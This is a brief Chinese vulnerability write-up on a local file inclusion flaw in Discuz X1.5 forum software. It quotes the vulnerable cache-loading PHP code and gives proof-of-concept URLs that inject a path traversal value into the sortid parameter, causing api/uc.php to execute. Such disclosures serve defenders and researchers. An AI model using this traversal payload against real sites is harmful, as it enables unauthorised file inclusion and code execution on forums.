漏洞分析

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DISCUZ X1.5 本地文件包含漏洞说明

脚本之家

config_global.php


  $_config['cache']['type'] = ‘file’;
  function cachedata($cachenames) {
  ……
  $isfilecache = getglobal(‘config/cache/type’) == ‘file’;
  ……
  if($isfilecache) {
  $lostcaches = array();
  foreach($cachenames as $cachename) {
  if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {
  $lostcaches[] = $cachename;
  }
  }
  ……
  }

  地址:
  http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
  http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried
  执行了 api/uc.php 页面代码了。
  作者: Jannock